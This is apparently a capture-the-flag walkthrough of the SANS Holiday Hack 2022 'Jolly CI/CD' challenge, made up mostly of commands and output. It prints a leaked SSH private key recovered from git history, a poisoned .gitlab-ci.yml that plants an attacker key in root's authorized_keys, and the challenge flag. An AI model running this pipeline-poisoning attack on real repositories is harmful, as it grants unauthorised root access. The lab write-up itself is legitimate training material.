Buy me a coffee

Terminal: Jolly-CICD

Elf House Area

Objective

Recover the Elfen Ring

Task 5: Jolly CI/CD

Difficulty: 5/5 Christmas Trees Description: Exploit a CI/CD pipeline. Get hints for this challenge from Tinsel Upatree in the Elfen Ring.

Terminal Details
###################################################### Sat Dec 10 22:26:49 UTC 2022 On attempt [6] of trying to connect. If no connection is made after [60] attempts contact the holidayhack sys admins via discord. ###################################################### Greetings Noble Player, Many thanks for answering our desperate cry for help! You may have heard that some evil Sporcs have opened up a web-store selling counterfeit banners and flags of the many noble houses found in the land of the North! They have leveraged some dastardly technology to power their storefront, and this technology is known as PHP! ***gasp*** This strorefront utilizes a truly despicable amount of resources to keep the website up. And there is only a certain type of Christmas Magic capable of powering such a thing… an Elfen Ring! Along with PHP there is something new we've not yet seen in our land. A technology called Continuous Integration and Continuous Deployment! Be wary! Many fair elves have suffered greatly but in doing so, they've managed to secure you a persistent connection on an internal network. BTW take excellent notes! Should you lose your connection or be discovered and evicted the elves can work to re-establish persistence. In fact, the sound off fans and the sag in lighting tells me all the systems are booting up again right now. Please, for the sake of our Holiday help us recover the Ring and save Christmas!
Solution

Clone the git repo mentioned by Tinsel Upatree.

grinchum-land:~$ git clone http://gitlab.flag.net.internal/rings-of-powder/wordpress.flag.net.internal.git Cloning into 'wordpress.flag.net.internal'... remote: Enumerating objects: 10195, done. remote: Total 10195 (delta 0), reused 0 (delta 0), pack-reused 10195 Receiving objects: 100% (10195/10195), 36.49 MiB | 18.38 MiB/s, done. Resolving deltas: 100% (1799/1799), done. Updating files: 100% (9320/9320), done.

Check out git history.

grinchum-land:~/wordpress.flag.net.internal_powder/.git$ git log commit 37b5d575bf81878934adb937a4fff0d32a8da105 (HEAD -> main, origin/main, origin/HEAD) Author: knee-oh <sporx@kringlecon.com> Date: Wed Oct 26 13:58:15 2022 -0700 updated wp-config commit a59cfe83522c9aeff80d49a0be2226f4799ed239 Author: knee-oh <sporx@kringlecon.com> Date: Wed Oct 26 12:41:05 2022 -0700 commit 37b5d575bf81878934adb937a4fff0d32a8da105 (HEAD -> main, origin/main, origin/HEAD) Author: knee-oh <sporx@kringlecon.com> Date: Wed Oct 26 13:58:15 2022 -0700 updated wp-config commit a59cfe83522c9aeff80d49a0be2226f4799ed239 Author: knee-oh <sporx@kringlecon.com> Date: Wed Oct 26 12:41:05 2022 -0700 update gitlab.ci.yml commit a968d32c0b58fd64744f8698cbdb60a97ec604ed Author: knee-oh <sporx@kringlecon.com> Date: Tue Oct 25 16:43:48 2022 -0700 test commit 7093aad279fc4b57f13884cf162f7d80f744eea5 Author: knee-oh <sporx@kringlecon.com> Date: Tue Oct 25 15:08:14 2022 -0700 add gitlab-ci commit e2208e4bae4d41d939ef21885f13ea8286b24f05 Author: knee-oh <sporx@kringlecon.com> Date: Tue Oct 25 13:43:53 2022 -0700 big update commit e19f653bde9ea3de6af21a587e41e7a909db1ca5 Author: knee-oh <sporx@kringlecon.com> Date: Tue Oct 25 13:42:54 2022 -0700 whoops commit abdea0ebb21b156c01f7533cea3b895c26198c98 Author: knee-oh <sporx@kringlecon.com> Date: Tue Oct 25 13:42:13 2022 -0700 added assets commit a7d8f4de0c594a0bbfc963bf64ab8ac8a2f166ca Author: knee-oh <sporx@kringlecon.com> Date: Mon Oct 24 17:32:07 2022 -0700 init commit ~

View the details of the commit with the message 'whoops'.

grinchum-land:~/wordpress.flag.net.internal_powder/.git$ git show e19f653bde9ea3de6af21a587e41e7a909db1ca5

The user sporx accidentally commited their private SSH key.

commit e19f653bde9ea3de6af21a587e41e7a909db1ca5 Author: knee-oh <sporx@kringlecon.com> Date: Tue Oct 25 13:42:54 2022 -0700 whoops diff --git a/.ssh/.deploy b/.ssh/.deploy deleted file mode 100644 index 3f7a9e3..0000000 --- a/.ssh/.deploy +++ /dev/null @@ -1,7 +0,0 @@ ------BEGIN OPENSSH PRIVATE KEY----- -b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW -QyNTUxOQAAACD+wLHSOxzr5OKYjnMC2Xw6LT6gY9rQ6vTQXU1JG2Qa4gAAAJiQFTn3kBU5 -9wAAAAtzc2gtZWQyNTUxOQAAACD+wLHSOxzr5OKYjnMC2Xw6LT6gY9rQ6vTQXU1JG2Qa4g -AAAEBL0qH+iiHi9Khw6QtD6+DHwFwYc50cwR0HjNsfOVXOcv7AsdI7HOvk4piOcwLZfDot -PqBj2tDq9NBdTUkbZBriAAAAFHNwb3J4QGtyaW5nbGVjb24uY29tAQ== ------END OPENSSH PRIVATE KEY----- diff --git a/.ssh/.deploy.pub b/.ssh/.deploy.pub deleted file mode 100644 index 8c0b43c..0000000 --- a/.ssh/.deploy.pub +++ /dev/null @@ -1 +0,0 @@ -ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP7AsdI7HOvk4piOcwLZfDotPqBj2tDq9NBdTUkbZBri sporx@kringlecon.com

Create a new file, ~/.ssh/id_rsa, and insert the retreived OpenSSH private key.

Update permissions on the new key file.

grinchum-land:~$ chmod 600 .ssh/id_rsa

Configure the git details within the cloned repo folder, making sure to match the identity of the user from the git logs.

grinchum-land:~/wordpress.flag.net.internal$ git config --global user.name "knee-oh" grinchum-land:~/wordpress.flag.net.internal$ git config --global user.email "sporx@kringlecon.com"

Delete the cloned repo and reclone it via SSH.

grinchum-land:~$ rm -rf wordpress.flag.net.internal grinchum-land:~$ git clone git@gitlab.flag.net.internal:rings-of-powder/wordpress.flag.net.internal.git Cloning into 'wordpress.flag.net.internal'... remote: Enumerating objects: 10195, done. remote: Total 10195 (delta 0), reused 0 (delta 0), pack-reused 10195 Receiving objects: 100% (10195/10195), 36.49 MiB | 18.97 MiB/s, done. Resolving deltas: 100% (1799/1799), done. Updating files: 100% (9320/9320), done.

Create a new file named public.key and insert the public key for the stolen OpenSSH private key listed above.

grinchum-land:~/wordpress.flag.net.internal$ cat public.key ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP7AsdI7HOvk4piOcwLZfDotPqBj2tDq9NBdTUkbZBri sporx@kringlecon.com

Update the gitlab-ci.yml file.

grinchum-land:~/wordpress.flag.net.internal$ cat .gitlab-ci.yml stages: - deploy deploy-job: stage: deploy environment: production script: - rsync -e "ssh -i /etc/gitlab-runner/hhc22-wordpress-deploy" --chown=www-data:www-data -atv --delete --progress ./ root@wordpress.flag.net.internal:/var/www/html - rsync -e "ssh -i /etc/gitlab-runner/hhc22-wordpress-deploy" --chown=root:root -atv --delete --progress ./public.key root@wordpress.flag.net.internal:/root/.ssh/authorized_keys

Add the updated file, commit the changes, then push the changes to the git repo.

grinchum-land:~/wordpress.flag.net.internal$ git add public.key .gitlab-ci.yml grinchum-land:~/wordpress.flag.net.internal$ git commit -m 'updated pipeline' [main 9f87d2f] updated pipeline 2 files changed, 2 insertions(+), 1 deletion(-) create mode 100644 public.key grinchum-land:~/wordpress.flag.net.internal$ git push Enumerating objects: 6, done. Counting objects: 100% (6/6), done. Delta compression using up to 2 threads Compressing objects: 100% (4/4), done. Writing objects: 100% (4/4), 484 bytes | 161.00 KiB/s, done. Total 4 (delta 2), reused 1 (delta 0), pack-reused 0 To gitlab.flag.net.internal:rings-of-powder/wordpress.flag.net.internal.git 9483b93..9f87d2f main -> main

After waiting a few seconds for the runner to complete, attempt to SSH in to the web server.

grinchum-land:~/wordpress.flag.net.internal$ ssh root@wordpress.flag.net.internal The authenticity of host 'wordpress.flag.net.internal (172.18.0.88)' can't be established. ED25519 key fingerprint is SHA256:ASkA3MNGpDOJfb+/SoerXa9KaWx8OKVGaKWexP8qrsQ. This key is not known by any other names Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'wordpress.flag.net.internal' (ED25519) to the list of known hosts. Linux wordpress.flag.net.internal 5.10.51 #1 SMP Mon Jul 19 19:08:01 UTC 2021 x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. root@wordpress:~#

The flag.txt file is located in the filesystem root. Cat it out to retreive the flag needed for the badge.

root@wordpress:~# cat /flag.txt Congratulations! You've found the HHC2022 Elfen Ring! ░░░░ ░░░░ ░░ ░░░░ ░░ ░░░░ ░░ ░░ ░░░░ ░░ ░░░░▒▒▓▓▓▓▓▓▓▓▓▓▓▓▒▒░░░░ ░░ ░░▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒░░ ░░ ░░▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒ ░░ ░░▒▒▒▒▓▓▓▓▓▓▓▓▓▓░░ ▓▓▓▓▓▓▓▓▒▒░░░░ ░░░░ ░░ ░░▒▒▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▒▒░░ ░░░░ ░░▒▒▓▓▓▓▓▓ ▓▓▒▒▒▒░░ ░░░░ ▒▒▓▓▓▓▓▓ ▓▓▓▓▒▒░░ ░░░░ ░░ ▒▒▓▓▓▓▓▓ ▓▓▒▒░░░░ ░░░░▒▒ ░░▒▒▓▓▓▓░░ ░░▒▒▒▒░░░░ ░░░░▒▒ ░░▓▓▓▓▓▓ ▓▓▒▒░░░░ ░░░░▒▒ ░░ ▒▒▓▓▓▓ ▒▒░░░░ ░░▒▒▒▒ ░░ ░░▓▓▓▓▓▓ ▒▒▒▒░░░░ ░░▒▒▒▒ ░░ ▒▒▓▓▓▓ ▒▒░░░░ ░░▒▒▒▒ ▒▒▓▓▓▓ ▒▒░░░░░░ ░░▒▒▒▒ ░░ ░░▓▓▓▓▒▒ ▒▒░░░░░░ ░░▒▒▒▒▓▓ ░░ ▒▒▓▓▓▓ ░░░░░░░░ ░░▒▒▒▒▓▓ ░░ ▒▒▓▓▓▓ ░░░░░░░░ ░░▒▒▒▒▓▓ ░░ ▒▒▓▓▓▓ oI40zIuCcN8c3MhKgQjOMN8lfYtVqcKT ░░░░░░░░ ░░▒▒▒▒▓▓ ░░░░ ▒▒▓▓▓▓ ░░░░ ░░░░░░▒▒▒▒▓▓ ░░░░ ▒▒▓▓▓▓ ░░ ░░░░▒▒▒▒▒▒▓▓ ▒▒░░ ▒▒▓▓▓▓ ░░ ░░░░▒▒▒▒▒▒▓▓ ▒▒░░░░ ▒▒▓▓▓▓ ░░ ░░░░▒▒▒▒▒▒▓▓ ▓▓░░░░ ░░▓▓▓▓▒▒ ░░ ░░░░▒▒▒▒▓▓▓▓ ▒▒░░ ▒▒▓▓▓▓ ░░ ░░░░▒▒▒▒▒▒▓▓ ▒▒░░░░ ░░▓▓▓▓ ░░ ░░░░▒▒▒▒▓▓▓▓ ▓▓▒▒░░ ░░▒▒▓▓▓▓ ░░ ░░▒▒▒▒▒▒▓▓▓▓ ▓▓▒▒░░░░ ▒▒▒▒▓▓ ░░░░▒▒▒▒▒▒▓▓▓▓ ▒▒▒▒░░░░ ▒▒▒▒▒▒▒▒ ░░▒▒▒▒▒▒▒▒▓▓ ▓▓▒▒░░░░ ░░░░▒▒▒▒▓▓ ░░ ░░░░▒▒▒▒▒▒▓▓▓▓ ▒▒▒▒░░░░ ░░▒▒▒▒▒▒▒▒ ░░ ░░░░▒▒▒▒▒▒▒▒▓▓ ▓▓▒▒░░░░ ░░░░░░░░▒▒▓▓ ░░ ░░░░▒▒▒▒▒▒▓▓▓▓ ▓▓▓▓▒▒░░░░░░░░░░░░░░▒▒▒▒▓▓ ░░ ░░░░▒▒▒▒▒▒▓▓▓▓▓▓ ▓▓▓▓▒▒░░░░░░░░░░░░░░░░▒▒▒▒▒▒▒▒ ░░░░ ░░░░▒▒▒▒▒▒▓▓▓▓▓▓ ▓▓▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ ░░░░▒▒▒▒▒▒▓▓▓▓▓▓ ▓▓▒▒▒▒▒▒░░░░░░░░░░░░░░░░░░ ░░░░▒▒▒▒▒▒▒▒▒▒▓▓▓▓ ▓▓▓▓▓▓▒▒▒▒░░░░░░░░░░░░░░░░ ░░░░░░░░▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒░░░░░░░░░░░░░░░░░░░░░░░░▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓▓▓ ██▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓▓▓██ ██▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓██ ████▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓████ ████████▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓████████ ░░░░░░░░▓▓██████████████████░░░░░░░░ root@wordpress:~#

Head back to the Elf House.